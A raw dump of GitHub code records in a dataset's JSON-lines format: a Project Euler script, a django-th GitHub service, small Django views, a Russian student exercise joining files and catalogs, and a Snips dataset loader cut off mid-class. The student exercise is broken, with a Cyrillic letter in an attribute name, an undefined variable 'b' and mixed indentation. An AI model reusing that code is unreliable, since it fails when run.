print(word)\n#test()\n\n\n\n# Work out the first ten digits of the sum of the following one-hundred 50-digit numbers.\n\ndef getNum(fileName):\n num = []\n f = open(fileName,\"r\")\n for l in f:\n #print(l)\n\n num.append(int(l.replace(\"\\n\",\"\")))\n return num\n\ndef findSum(num):\n firstDigits = \"\"\n sum = 0\n for x in num:\n sum+=int(x)\n word = str(sum)\n for x in range(0,10):\n firstDigits += word[x]\n return firstDigits\n\nprint(findSum((getNum(\"13 Euler.txt\"))))\n\n","repo_name":"Ward-PythonScripts/Project_Euler_Scripts","sub_path":"0-50/13 Euler.py","file_name":"13 Euler.py","file_ext":"py","file_size_in_byte":600,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"29774317648","text":"# coding: utf-8\n# django classes\nfrom django.conf import settings\nfrom django.contrib import messages\nfrom django.core.cache import caches\nfrom django.urls import reverse\nfrom django.utils.translation import ugettext as _\n\n# django_th classes\nfrom django_th.models import update_result\nfrom django_th.services.services import ServicesMgr\n\n# github\nfrom github3 import GitHub\nfrom github3.exceptions import AuthenticationFailed\n\nfrom logging import getLogger\nimport pypandoc\nfrom th_github.models import Github\n\n\"\"\"\n handle process with github\n put the following in settings.py\n\n TH_GITHUB = {\n 'username': 'username',\n 'password': 'password',\n 'consumer_key': 'my key',\n 'consumer_secret': 'my secret'\n }\n\n\n TH_SERVICES = (\n ...\n 'th_github.my_github.ServiceGithub',\n ...\n )\n\n\"\"\"\n\nlogger = getLogger('django_th.trigger_happy')\n\ncache = caches['django_th']\n\n\nclass ServiceGithub(ServicesMgr):\n \"\"\"\n Service Github\n \"\"\"\n def __init__(self, token=None, **kwargs):\n super(ServiceGithub, self).__init__(token, **kwargs)\n self.scope = ['public_repo']\n self.REQ_TOKEN = 'https://github.com/login/oauth/authorize'\n self.AUTH_URL = 'https://github.com/login/oauth/authorize'\n self.ACC_TOKEN = 'https://github.com/login/oauth/access_token'\n self.username = settings.TH_GITHUB_KEY['username']\n self.password = settings.TH_GITHUB_KEY['password']\n self.consumer_key = settings.TH_GITHUB_KEY['consumer_key']\n self.consumer_secret = settings.TH_GITHUB_KEY['consumer_secret']\n self.token = token\n self.oauth = 'oauth1'\n self.service = 'ServiceGithub'\n if self.token:\n token_key, token_secret = self.token.split('#TH#')\n self.gh = GitHub(token=token_key)\n else:\n self.gh = GitHub(self.username, self.password)\n\n def gh_footer(self, trigger, issue):\n\n link = 'https://github.com/{0}/{1}/issues/{2}'.format(trigger.repo, trigger.project, issue.id)\n\n provided_by = _('Provided by')\n provided_from = _('from')\n footer_from = \"

{} {} {} {}\"\n\n return footer_from.format(provided_by, trigger.trigger.description, provided_from, link, link)\n\n def read_data(self, **kwargs):\n \"\"\"\n get the data from the service\n :param kwargs: contain keyword args : trigger_id at least\n :type kwargs: dict\n :rtype: list\n \"\"\"\n trigger_id = kwargs.get('trigger_id')\n date_triggered = str(kwargs.get('date_triggered')).replace(' ', 'T')\n data = list()\n if self.token:\n # check if it remains more than 1 access\n # then we can create an issue\n if self.gh.ratelimit_remaining > 1:\n\n trigger = Github.objects.get(trigger_id=trigger_id)\n issues = self.gh.issues_on(trigger.repo, trigger.project, since=date_triggered)\n\n for issue in issues:\n content = pypandoc.convert(issue.body, 'md', format='html')\n content += self.gh_footer(trigger, issue)\n data.append({'title': issue.title, 'content': content})\n # digester\n self.send_digest_event(trigger_id, issue.title, '')\n cache.set('th_github_' + str(trigger_id), data)\n else:\n # rate limit reach, do nothing right now\n logger.warning(\"Rate limit reached\")\n update_result(trigger_id, msg=\"Rate limit reached\", status=True)\n else:\n logger.critical(\"no token provided\")\n update_result(trigger_id, msg=\"No token provided\", status=True)\n return data\n\n def save_data(self, trigger_id, **data):\n \"\"\"\n let's save the data\n :param trigger_id: trigger ID from which to save data\n :param data: the data to check to be used and save\n :type trigger_id: int\n :type data: dict\n :return: the status of the save statement\n :rtype: boolean\n \"\"\"\n if self.token:\n title = self.set_title(data)\n body = self.set_content(data)\n # get the details of this trigger\n trigger = Github.objects.get(trigger_id=trigger_id)\n\n # check if it remains more than 1 access\n # then we can create an issue\n limit = self.gh.ratelimit_remaining\n if limit > 1:\n # repo goes to \"owner\"\n # project goes to \"repository\"\n r = self.gh.create_issue(trigger.repo, trigger.project, title, body)\n else:\n # rate limit reach\n logger.warning(\"Rate limit reached\")\n update_result(trigger_id, msg=\"Rate limit reached\", status=True)\n # put again in cache the data that could not be\n # published in Github yet\n cache.set('th_github_' + str(trigger_id), data, version=2)\n return True\n sentence = str('github {} created').format(r)\n logger.debug(sentence)\n status = True\n else:\n sentence = \"no token or link provided for trigger ID {} \".format(trigger_id)\n logger.critical(sentence)\n update_result(trigger_id, msg=sentence, status=False)\n status = False\n\n return status\n\n def auth(self, request):\n \"\"\"\n let's auth the user to the Service\n :param request: request object\n :return: callback url\n :rtype: string that contains the url to redirect after auth\n \"\"\"\n try:\n auth = self.gh.authorize(self.username,\n self.password,\n self.scope,\n '',\n '',\n self.consumer_key,\n self.consumer_secret)\n request.session['oauth_token'] = auth.token\n request.session['oauth_id'] = auth.id\n except AuthenticationFailed as e:\n messages.add_message(request, messages.ERROR, message=\"GITHUB RENEW FAILED : Reason {}\".format(e))\n return reverse('user_services')\n\n return self.callback_url(request)\n\n def callback(self, request, **kwargs):\n \"\"\"\n Called from the Service when the user accept to activate it\n :param request: request object\n :return: callback url\n :rtype: string , path to the template\n \"\"\"\n access_token = request.session['oauth_token'] + \"#TH#\"\n access_token += str(request.session['oauth_id'])\n kwargs = {'access_token': access_token}\n return super(ServiceGithub, self).callback(request, **kwargs)\n","repo_name":"foxmask/django-th","sub_path":"th_github/my_github.py","file_name":"my_github.py","file_ext":"py","file_size_in_byte":6968,"program_lang":"python","lang":"en","doc_type":"code","stars":1350,"dataset":"github-code","pt":"62"} +{"seq_id":"2016175455","text":"from django.http import HttpRequest, HttpResponse\nfrom django.shortcuts import render\n\n# Create your views here.\nfrom app.models import Post\n\n\ndef index(request: HttpRequest) -> HttpResponse:\n qs = Post.objects.all()\n return render(\n request,\n \"app/index.html\",\n {\n \"post_list\": qs,\n },\n )\n\n\ndef post_detail(request: HttpRequest, pk: int) -> HttpResponse:\n post = Post.objects.get(pk=pk)\n return render(request, \"app/post_detail.html\", {\"post\": post})\n","repo_name":"wisehero/Django-Practice","sub_path":"mydjango01/app/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":506,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"22052726534","text":"# используется для сортировки\r\nfrom operator import itemgetter\r\n\r\n\r\nclass File:\r\n \"\"\"Файл\"\"\"\r\n\r\n def __init__(self, id, namef, size, cat_id):\r\n self.id = id\r\n self.namef = namef\r\n self.size = size\r\n self.cat_id = cat_id\r\n\r\n\r\nclass Cat:\r\n \"\"\"Каталог\"\"\"\r\n\r\n def __init__(self, id, namec):\r\n self.id = id\r\n self.namec = namec\r\n\t\r\n\t\r\nclass CatFile:\r\n \"\"\"\r\n 'Файлы каталога' для реализации\r\n связи многие-ко-многим\r\n \"\"\"\r\n\r\n def __init__(self, cat_id, file_id):\r\n self.cat_id = cat_id\r\n self.file_id = file_id\r\n\r\n\r\ncatalogs = [\r\n Cat(1, 'Рабочий стол'),\r\n Cat(2, 'Панель управления'),\r\n Cat(3, 'Папка1'),\r\n # для связи многие-ко-многим:\r\n Cat(11, 'Папка2'),\r\n Cat(22, 'Работы'),\r\n Cat(33, 'ДЗ'),\r\n]\r\n\r\nfiles = [\r\n File(1, 'photo.pdf', 3, 1),\r\n File(2, 'image.pdf', 2, 2),\r\n File(3, 'image.jpg', 5, 2),\r\n File(4, 'image0.pdf', 6.1, 3),\r\n File(5, 'lib1.jpg', 10, 3),\r\n\r\n\r\n]\r\n\r\nfiles_cats = [\r\n CatFile(3, 4),\r\n CatFile(3, 5),\r\n CatFile(2, 3),\r\n CatFile(2, 2),\r\n CatFile(1, 1),\r\n\r\n\r\n CatFile(11, 1),\r\n CatFile(22, 2),\r\n CatFile(22, 3),\r\n CatFile(33, 4),\r\n CatFile(33, 5),\r\n]\r\n\r\ndef main():\r\n \"\"\"Основная функция\"\"\"\r\n\r\n # Соединение данных один-ко-многим\r\n one_to_many = [(f.namef, f.size, c.nameс)\r\n for c in catalogs\r\n for f in files\r\n if f.cat_id == c.id]\r\n\t\r\n # Соединение данных многие-ко-многим\r\n many_to_many_temp = [(c.namec, fc.cat_id, fc.file_id)\r\n \r\n for c in catalogs\r\n\t for fc in files_cats\r\n\t if c.id == fc.cat_id]\r\n\r\n many_to_many = [(f.namef, f.size, cat_name)\r\n for cat_name, cat_id, file_id in many_to_many_temp\r\n\t for f in files if b.id == file_id]\r\n\r\n print('Задание D1')\r\n res1 = list(filter(lambda x: x[0].endswith(\".jpg\"), one_to_many))\r\n print(res1)\r\n\r\n print('\\nЗадание D2')\r\n res2unsorted = []\r\n # Перебираем все каталоги\r\n for c in catalogs:\r\n # Список файлов в каталоге\r\n filess = list(filter(lambda i: i[2] == c.namec, one_to_many))\r\n\t# Если в каталоге есть файл\r\n if len(filess) > 0:\r\n\t # Все размеры файлов в каталоге\r\n\t allSizes = [size for _, size, _ in filess]\r\n\t # Средний размер файла в каталоге\r\n\t averageSizes = round(sum(allSizes) / len(allSizes), 2)\r\n\t res2unsorted.append((c.namec, averageSizes))\r\n\r\n # Сортировка по среднему размеру\r\n res2 = sorted(res2unsorted, key=itemgetter(1), reverse=True)\r\n print(res2)\r\n print('\\nЗадание D3')\r\n res3 = {}\r\n for c in catalogs:\r\n if c.namec.startswith(\"П\"):\r\n\t # Список файлов в каталоге\r\n filess = list(filter(lambda i: i[2] == c.namec, many_to_many))\r\n\t # Только имя файла\r\n filesNames = [x for x, _, _ in filess]\r\n\t # Добавляем результат в словарь\r\n\t # ключ - каталог, значение - список названий файлов\r\n res3[c.namec] = filesNames\r\n\r\n print(res3)\r\n\r\nif __name__ == '__main__':\r\n main()\r\n\r\n","repo_name":"DimaTer35/Terentyev-D.-PK1","sub_path":"рк1.py","file_name":"рк1.py","file_ext":"py","file_size_in_byte":3619,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"21857405711","text":"import json\nimport re\nimport copy\nimport random\nfrom Utils import Utils\nfrom Object import Object\n\nfrom commonVar import STATUS_FAIL\nfrom commonVar import STATUS_OK\nfrom commonVar import STATUS_WARNING\n\nclass DataLoaderSnipsJson(Object):\n '''\n Top class of data set. It's open to user.\n It has ability to manage batch data:\n * data can be retrieved batch by batch\n * it works in random mode or regular mode. In random mode, every batch is composed in a random way. In regular mode,\n all batches are generated in a sequential way.\n * batchSize is tunable\n * it's capable of dividing data into training data and test data\n * TODO: Enable training data and test data ratio tuning.\n\n It owns two DataSetSnipsJson instances, one for training, the other for testing.\n '''\n def __init__(self, jsonFilePath, batchSize, random = True, name = \"DataLoaderSnipsJson\", seqLabFormat = 1):\n # parent class initialization\n Object.__init__(self, name=name)\n\n # member variables initialization\n self.__jsonFilePath = jsonFilePath # json data file path\n self.__batchSize = batchSize # batch size\n self.__random = random # randomness of generated batch\n self.__trainFreshDataAbsIndexList = [] # for train, list of fresh data absolute index, data that has not been sent out\n self.__testFreshDataAbsIndexList = [] # for test, list of fresh data absolute index, data that has not been sent out\n self.__seqLabelSet = None # sequence label set\n self.__clsLab2CountDict = None # class label to count dict: label -> count\n\n # initialization two datasets, one for training , the other for testing\n self.__trainDataSet = DataSetSnipsJson(self.__jsonFilePath, train = True,\n seqLabFormat=seqLabFormat)\n self.__testDataSet = DataSetSnipsJson(self.__jsonFilePath, train = False,\n seqLabFormat=seqLabFormat)\n trainDataSize = self.__trainDataSet.getAvailableDataNum()\n testDataSize = self.__testDataSet.getAvailableDataNum()\n print(\"[INFO] Data loader snips json: train data set size = %d\"%(trainDataSize))\n print(\"[INFO] Data loader snips json: test data set size = %d\"%(testDataSize))\n\n # data data consistency check, between train data set and test data set\n # consistent data class label?\n # consistent sequence class label?\n\n # prepare to generate batches\n self.resetBatchIteration()\n\n def getSeqLabelsCountDict(self, train):\n if train == True:\n return self.__trainDataSet.getSeqLabelsCountDict()\n else:\n return self.__testDataSet.getSeqLabelsCountDict()\n\n def getClassLabelsCountDict(self, train):\n if train == True:\n return self.__trainDataSet.getclsLabCountDict()\n else:\n return self.__testDataSet.getclsLabCountDict()\n\n def resetBatchIteration(self, train = None):\n '''\n reset batch iteration. It should be called when iteration hit the end.\n @param train:\n None: reset both training and testing dataset\n True: reset training dataset\n False: reset testing dataset\n @return:\n No\n '''\n '''\n Function to reset batch iteration. It should be called after train dataset and test dataset hit\n their end.\n It should be called during data laoder initialization\n @param train: flag to indicate train or test data set to be reset\n None, reset both train and test data iteration\n True, reset only train data iteration\n False, reset only test data iteration\n @return: No\n @attention: It impacts members:\n self.__trainFreshDataAbsIndexList\n self.__testFreshDataAbsIndexList\n '''\n if train == None: # reset, for both train and test\n self.__trainFreshDataAbsIndexList = copy.deepcopy(self.__getAvailableDataIndexList(train=True))\n self.__testFreshDataAbsIndexList = copy.deepcopy(self.__getAvailableDataIndexList(train=False))\n elif train == True:\n self.__trainFreshDataAbsIndexList = copy.deepcopy(self.__getAvailableDataIndexList(train=True))\n else:\n self.__testFreshDataAbsIndexList = copy.deepcopy(self.__getAvailableDataIndexList(train=False))\n\n def nextBatch(self, train):\n '''\n Retrieve next batch of data: queries, intent labels and sequence labels\n @param train:\n True: retrieve next batch of training data\n False: retrieve next batch of testing data\n @return:\n queries, class/intent label, sequence labels\n Type: all three output are list\n Shape: batchSize * H, H denoting some element, according to returned data type\n\n if data iteration hits the end, 'None, None, None' will be returned\n '''\n # method: compose subset of fresh index list. Index in the subset is going to be inside next batch.\n\n # which fresh data index list should be cared here? Train or test?\n if train == True:\n freshDataIndexList = self.__trainFreshDataAbsIndexList\n else:\n freshDataIndexList = self.__testFreshDataAbsIndexList\n\n if len(freshDataIndexList) == 0:\n return None, None, None\n\n # compose batchDataIndexList: [0,5,2,3,11,567, 7,...]\n if (len(freshDataIndexList) >= self.__batchSize): # more than 1 batch left\n if self.__random: # if in random mode, then randomly compose next batch\n # randomly select a subset of index, of batch size, from fresh index list\n batchDataIndexList = random.sample(freshDataIndexList, k=self.__batchSize)\n else: # if in sequential mode, sequentially compose next batch\n # sequentially select a subset of index, of batch size, from fresh index list\n batchDataIndexList = freshDataIndexList[0: self.__batchSize]\n else: # left fresh index count is less than batch size\n # just push all left data into one batch\n batchDataIndexList = copy.deepcopy(freshDataIndexList)\n\n # remove selected index from fresh index list\n for item in batchDataIndexList:\n freshDataIndexList.remove(item)\n\n # retrieve data, according to batch index list\n queryList, classLabList, seqLabList = self.__getData(train, batchDataIndexList=batchDataIndexList)\n\n # sanity check\n len1 = len(queryList)\n len2 = len(classLabList)\n len3 = len(seqLabList)\n if not (len1 == len2 and len1 == len3):\n print (\"[ERROR] DataLoaderSnipsJson. Inconsistent return data length.\")\n print (\"[ERROR] DataLoaderSnipsJson. queryListLength = %d, classLabelListLength = %d, seqLabListLenght = %d.\"%\n (len1, len2, len3))\n return None, None, None\n\n return queryList, classLabList, seqLabList\n\n def getClassLabelSet(self):\n '''\n @return: classLabSet\n type: set\n Shape: N, N is union(trainDataSet, testDataSet) or trainDataSet, depending on case\n '''\n _, trainClsLabSet = self.__trainDataSet.getClassLabelSet()\n _, testClsLabSet = self.__testDataSet.getClassLabelSet()\n if not trainClsLabSet == testClsLabSet:\n # if two sequence label set is inconsistent, report warning and union them\n print (\"[WARNING] train dataset and test dataset have different class label set:\")\n print (\"[WARNING] train dataset class label set: \")\n print (trainClsLabSet)\n print (\"[WARNING] test dataset class label set: \")\n print (testClsLabSet)\n print (\"[WARNING] Union of train dataset and test dataset class labels may be used later.\")\n return trainClsLabSet.union(testClsLabSet)\n else:\n # if two sequence label sets are consistent, return any one is okay\n return trainClsLabSet\n\n def getSeqLabelSet(self): #TODO: it's a dangerous action, to return a private member\n '''\n retrieve sequence label set\n @return: sequenceLabSet\n type: set\n Shape: N, N is union(trainDataSet, testDataSet) or trainDataSet, depending on case\n @attention:\n self.__seqLabelSet may be impacted\n '''\n # check cache, if it's already cached, return\n if not self.__seqLabelSet == None:\n return self.__seqLabelSet\n\n # if sequence label set is not cached yet, calculate it and cache it\n trainSeqLabSet = self.__trainDataSet.getSeqLabelSet()\n testSeqLabSet = self.__testDataSet.getSeqLabelSet()\n if not trainSeqLabSet == testSeqLabSet:\n # if two sequence label set is inconsistent, report warning and union them\n print (\"[WARNING] train dataset and test dataset have different sequence label set:\")\n print (\"[WARNING] train dataset sequence label set: \")\n print (trainSeqLabSet)\n print (\"[WARNING] test dataset sequence label set: \")\n print (testSeqLabSet)\n print (\"[WARNING] Union of train dataset and test dataset sequence labels may be used later.\")\n self.__seqLabelSet = trainSeqLabSet.union(testSeqLabSet)\n return self.__seqLabelSet\n else:\n # if two sequence label sets are consistent, return any one is okay\n self.__seqLabelSet = trainSeqLabSet\n return self.__seqLabelSet\n\n def getSeqLabelSetSize(self):\n seqLabSet = self.getSeqLabelSet()\n return len(seqLabSet)\n\n def getClsLabSetSize(self):\n clsLabSet = self.getClassLabelSet()\n return len(clsLabSet)\n\n def getTrainDataCount(self):\n return self.__trainDataSet.getAvailableDataNum()\n\n def getTestDataCount(self):\n return self.__testDataSet.getAvailableDataNum()\n\n def __getAvailableDataIndexList(self, train):\n '''\n get available data index list\n @param train: True to get training data, or, get test data\n @return:\n '''\n if train == True:\n return self.__trainDataSet.getAvailableDataIndexList()\n else:\n return self.__testDataSet.getAvailableDataIndexList()\n\n def __getData(self, train, batchDataIndexList):\n '''\n get data, including queries, intent labels and sequence labels, given a list of absolute index\n @param train: True to get training data, or, to get test data\n @param batchDataIndexList: specify data index to retrieve, for example, [6,7,4,1,0] to retrieve data at position\n 6, 7, 4, 1 and 0.\n @return:\n queries, labels, sequence labels\n Type: All return are lists.\n Shape: len(batchDataindexList) * H, H denoting data shape for different return data\n '''\n if train:\n resultQueries = self.__trainDataSet.getQueryDataList(batchDataIndexList=batchDataIndexList)\n resultClassLabList = self.__trainDataSet.getClassLabDataList(batchDataIndexList=batchDataIndexList)\n resultSeqLabList = self.__trainDataSet.getSeqLabDataList(batchDataIndexList=batchDataIndexList)\n else:\n resultQueries = self.__testDataSet.getQueryDataList(batchDataIndexList=batchDataIndexList)\n resultClassLabList = self.__testDataSet.getClassLabDataList(batchDataIndexList=batchDataIndexList)\n resultSeqLabList = self.__testDataSet.getSeqLabDataList(batchDataIndexList=batchDataIndexList)\n return resultQueries, resultClassLabList, resultSeqLabList\n\nclass DataSetSnipsJson(Object):\n '''\n Class to capsulate raw snips data set.\n This class may store modified version of raw snips data.\n This class may filter data and store only a subset of raw data.\n '''\n def __init__(self, jsonFilePath, train, trainRatio = 0.7, testRatio = 0.3, seqLabFormat = 1):\n # parent class initialization\n super().__init__()\n\n # sanity check\n if not(Utils.isEqualFloat((trainRatio+testRatio),1)):\n print (\"[ERROR] DataSetSnipsJson initialization: trainRatio + testRatio != 1.0.\\\n trainRatio = %f, testRatio = %f\"%(trainRatio, testRatio))\n return STATUS_FAIL\n\n # read in json file, raw data, text\n self.__rawData = RawDataSetSnipsJson(jsonFilePath)\n\n # variable initialize\n self.__simpleSeqLabelList = None # simple sequence label list. b-entity_name --> entityname\n self.__simpleSeqLabelNum = 0 # unique simple sequence label number.\n self.__simpleSeqLabelSet = None # set of simple sequence labels\n self.__simpleLab2CountDict = None # a dict to map simple sequence lab to count\n self.__availableDataIndexList = [] # available data index set. It's a subset of raw data,\n # denoted by a collection of index\n self.__trainRatio = trainRatio # train ratio, for instance 0.7\n self.__testRatio = testRatio # test data ratio, for instance 0.3\n self.__seqLabFormat = seqLabFormat # sequence label format in this dataset\n # 1: simple format, for example: entityname\n # 0: raw format, for example: i-entity_name\n self.__clsLabSet = None # class label set, it's filled up according to self.__availableDataIndexList\n self.__clsLab2CountDict = None # a dict to map class label to its count\n # show statistics of raw data\n print(\"[INFO] DataSetSnipsJson initialization: query number: %d\"%(self.getQueryNum()))\n print(\"[INFO] DataSetSnipsJson initialization: class label number: %d\"%(self.getClassLabelNum()))\n print(\"[INFO] DataSetSnipsJson initialization: sequence label number: %d\"%(self.getSeqLabelNum()))\n\n # generate sequence labels with specified format\n if (self.__seqLabFormat == 1):\n self.__simplifySeqLabel()\n\n # generate available index set\n # available index set is a list of indexes. These indexes refers to data that is exposed to user\n # for example:\n # available index list = [0,1,2,4,7,8,11,45]\n # then, we have only 8 queries, together with their class labels and sequence labels\n # accessible to user\n self.__generateAvailableIndexList(train, self.__trainRatio, self.__testRatio)\n\n def getQueryDataList(self, batchDataIndexList):\n '''\n Please refer to document of class RawDataSetSnipsJson.\n @param batchDataIndexList:\n @return:\n '''\n return self.__rawData.getQueryDataList(batchDataIndexList=batchDataIndexList)\n\n def getClassLabDataList(self, batchDataIndexList):\n '''\n Please refer to document of class RawDataSetSnipsJson.\n @param batchDataIndexList:\n @return:\n '''\n return self.__rawData.getClassLabDataList(batchDataIndexList=batchDataIndexList)\n\n def __getSimpleSeqLabDataList(self, batchDataIndexList):\n '''\n @param batchDataIndexList: a list of index, say, [4,3,1,0,11]\n @return:\n a list containing simple sequence labels of index in input list\n type: list\n shape: len(batchDataIndexList) * X, X denoting variable length of different queries\n '''\n return [self.__simpleSeqLabelList[i] for i in batchDataIndexList]\n\n def getSeqLabelsCountDict(self):\n '''\n get sequence labels count, in dict\n @return: a dict, label --> count\n '''\n if self.__seqLabFormat == 1: # simple format of sequence format\n return self.__getSimpleSeqLabCountDict()\n else:\n return self.__rawData.getSeqLabCountDict()\n\n def getclsLabCountDict(self):\n '''\n Get class label count dict: label --> label count\n @return: a dict: label --> count\n '''\n # check cache\n if not self.__clsLab2CountDict == None:\n return self.__clsLab2CountDict\n\n # initialize lab2Count dict\n self.__clsLab2CountDict = {}\n rt, clsLabSet = self.getClassLabelSet()\n if not rt == STATUS_OK: # return check\n print (\"[ERROR] DataSetSnipsJson::getclsLabCountDict(). Fail to get class label count dict due to failure when fetching class label set.\")\n return STATUS_FAIL\n for lab in clsLabSet:\n self.__clsLab2CountDict[lab] = 0\n\n # count\n for index in self.__availableDataIndexList:\n label = self.queryClassLab(index)\n self.__clsLab2CountDict[label] = self.__clsLab2CountDict[label] + 1\n\n return self.__clsLab2CountDict\n\n def __getSimpleSeqLabCountDict(self):\n '''\n get simple sequence labels count, in dict\n @return: a dict, label --> count\n '''\n # check cache\n if not self.__simpleLab2CountDict == None:\n return self.__simpleLab2CountDict\n\n # initialize lab2Count dict\n self.__simpleLab2CountDict = {}\n for lab in self.__simpleSeqLabelSet:\n self.__simpleLab2CountDict[lab] = 0\n\n # count\n for index in self.__availableDataIndexList:\n for label in self.__simpleSeqLabelList[index]:\n self.__simpleLab2CountDict[label] = self.__simpleLab2CountDict[label] + 1\n\n return self.__simpleLab2CountDict\n\n def getSeqLabDataList(self, batchDataIndexList):\n '''\n get sequence labels of index in input list\n @param batchDataIndexList: a list of index, say [1,5,11,0,47]\n @return:\n a list containing sequence labels of index in input list\n type: list\n shape: len(batchDataIndexList) * X, X denoting variable length of different queries\n @attention:\n self.__seqLabFormat has impact here. It decides sequence label format to return.\n '''\n if self.__seqLabFormat == 1: # simple format of sequence format\n return self.__getSimpleSeqLabDataList(batchDataIndexList=batchDataIndexList)\n else:\n return self.__rawData.getSeqLabDataList(batchDataIndexList=batchDataIndexList)\n\n def getAvailableDataIndexList(self):\n return self.__availableDataIndexList\n\n def getSeqLabelNum(self):\n return self.__rawData.getSeqLabelNum()\n\n def getClassLabelNum(self):\n return self.__rawData.getClassLabelNum()\n\n def getQueryNum(self):\n return self.__rawData.getQueryNum()\n\n def splitDataTwoParts(self, ratioList):\n return self.__rawData.splitDataTwoParts(ratioList=ratioList)\n\n def __generateAvailableIndexList(self, train, trainRatio, testRatio):\n '''\n generate available index list.\n @param train:\n True for train dataset, False for test dataset\n @return:\n exit status\n @attention:\n __availableDataIndexList will be filled up\n '''\n # if it's for training, first 70% data for each intent label is needed\n # or, last 30% is needed\n\n # split data\n rt = STATUS_OK\n rt, indexSet1, indexSet2 = self.splitDataTwoParts([trainRatio, testRatio])\n if (rt == STATUS_FAIL):\n print (\"[ERROR] DataSetSnipsJson, fail to generate available index list.\")\n return STATUS_FAIL\n\n # sanity check\n # any part is empty?\n if len(indexSet1) == 0 or len(indexSet2) == 0:\n print (\"[ERROR] DataSetSnipsJson generate available index list: empty index set is found!\")\n return STATUS_FAIL\n # sum(parts) != totalAmount?\n if (not (len(indexSet1) + len(indexSet2)) == self.getQueryNum()):\n print (\"[ERROR] DataSetSnipsJson generate available index list: sum(parts) != totalDataAmout!\")\n print (\"[ERROR] DataSetSnipsJson generate available index list: total amount = %d!\"%(self.getQueryNum()))\n print (\"[ERROR] DataSetSnipsJson generate available index list: split1 = %d, split2 = %d!\"%(len(indexSet1), len(indexSet2)))\n return STATUS_FAIL\n # overlap between two parts?\n if not (len((set(indexSet1)) & (set(indexSet2))) == 0):\n print (\"[ERROR] DataSetSnipsJson generate available index list: Overlapped slit parts!\")\n return STATUS_FAIL\n\n # which data to use\n if train:\n self.__availableDataIndexList = indexSet1\n else:\n self.__availableDataIndexList = indexSet2\n\n # print summary of availabel data\n self.__showDataSummaryInfo(self.__availableDataIndexList)\n\n return STATUS_OK\n\n def __showDataSummaryInfo(self, dataIndexList):\n '''\n @param dataIndexList: a list of index of data to be summarized. For example:\n dataIndexList = [0,5,2,1,55,77,3]\n @return: No\n @attention: No\n '''\n\n # var init\n infoSummary = {}\n _, classLabelSet = self.getClassLabelSet()\n for lab in classLabelSet:\n infoSummary[lab] = [0, set()] # classLab --> (utterance count, sequence label set)\n\n # get information\n for dataAbsIndex in dataIndexList:\n classLab = self.queryClassLab(dataAbsIndex)\n seqLab = self.querySeqLabList(dataAbsIndex)\n\n infoSummary[classLab][0] = infoSummary[classLab][0] + 1\n for lab in seqLab:\n infoSummary[classLab][1].add(lab)\n\n # print summary\n print (\"[INFO] data set summary: \")\n for lab in infoSummary:\n print (\"[INFO] Class label %25s, data count = %6d, unique sequence label count = %6d\"%(\n lab,\n infoSummary[lab][0],\n len(infoSummary[lab][1])\n ))\n\n def queryClassLab(self, dataAbsIndex):\n '''\n query class labels for given dataAbsIndex\n @param dataAbsIndex: integer, for example, 5\n @return:\n classLabel\n type: string\n '''\n return self.__rawData.queryClassLab(dataAbsIndex)\n\n def querySeqLabList(self, dataAbsIndex):\n '''\n query sequence labels for given dataAbsIndex\n @param dataAbsIndex: integer, for example, 5\n @return: seqLaebls\n type: list of string\n '''\n if self.__seqLabFormat == 1: # simplified version of label format\n return self.__simpleSeqLabelList[dataAbsIndex]\n else: # raw version of label format\n return self.__rawData.querySeqLabList(dataAbsIndex)\n\n def getAvailableDataNum(self):\n return len(self.__availableDataIndexList)\n\n def getClassLabelSet(self):\n '''\n Get class label set.\n @return: a set of class labels\n '''\n if not self.__clsLabSet == None: # if self.__clsLabSet is already filled up, return it\n return STATUS_OK, self.__clsLabSet\n\n # if self.__clsLabSet is not filled up yet, fill it up and return\n if len(self.__availableDataIndexList) == 0:\n print (\"[ERROR] DataSetSnipsJson getClassLabelSet(). Fail to find any available data index. Available data index list may not have been filled up.\")\n return STATUS_FAIL, _\n\n # fill up class label set\n self.__clsLabSet = set()\n for index in self.__availableDataIndexList:\n self.__clsLabSet.add(self.queryClassLab(index))\n\n # return class label set\n return STATUS_OK, self.__clsLabSet\n\n\n def getSeqLabelSet(self):\n if self.__seqLabFormat == 1: # simplified version of label format\n if self.__simpleSeqLabelSet == None: # fill it up and return\n # loop each element of simple sequence label list\n self.__simpleSeqLabelSet = set()\n for sentence in self.__simpleSeqLabelList:\n for seqLab in sentence:\n self.__simpleSeqLabelSet.add(seqLab)\n return self.__simpleSeqLabelSet\n else:\n return self.__rawData.getSeqLabelSet()\n\n def __simplifySeqLabel(self):\n \"\"\"\n generate simple sequence label, from raw data.\n BIO symbol is removed. '_' is removed.\n Example: i-entity_name --> entityname\n :return:\n Exit status\n \"\"\"\n if not (self.__simpleSeqLabelList == None):\n return STATUS_OK\n else:\n rt = STATUS_OK\n rt, simpleSeqLabel = self.__rawData.generateSimpleSeqLabelList()\n if rt == STATUS_OK:\n self.__simpleSeqLabelList = simpleSeqLabel\n simpleSeqLabelSet = set()\n for sentence in self.__simpleSeqLabelList:\n for wordLabel in sentence:\n simpleSeqLabelSet.add(wordLabel)\n self.__simpleSeqLabelNum = len(simpleSeqLabelSet)\n print(\"[INFO] DataSet initialization: Get simple sequence label, number: %d\" % self.__simpleSeqLabelNum)\n else:\n print(\"[ERROR] DataSet initialization: fail to simplify sequence labels!\\n\")\n return rt\n\n def __getSimpleSeqLabelNum(self):\n return self.__simpleSeqLabelNum\n\nclass RawDataSetSnipsJson(Object):\n '''\n Class to store json-formatted SNIPS dataset.\n json file is supposed to contain query sentences, sequence labels and class labels, all in text.\n\n Example of json file content:\n ----------------------example-----------------\n [\n\t {\n \t\t\"query\": \"add don and sherri to my meditate to sounds of nature playlist\",\n \t \t\"seqLabel\": \"O B-entity_name I-entity_name I-entity_name O B-playlist_owner B-playlist I-playlist I-playlist I-playlist I-playlist O\",\n\t \t \"classLabel\": \"AddToPlaylist\"\n\t },\n\t {\n\t\t ...\n\t }\n\t ...\n ]\n ----------------------example---end-----------\n\n This class stores json content in an ordered way. Three list are used to store queries, class labels\n and sequence labels, respectively, sharing the same index.\n\n All raw text will be case-lowered after read in.\n '''\n\n def __init__(self, dataSetPath):\n '''\n Json file will be read in.\n All character will be lower-cased.\n :param dataSetPath: json file data path\n '''\n # parent class initialization\n super().__init__()\n\n # populate parameters\n 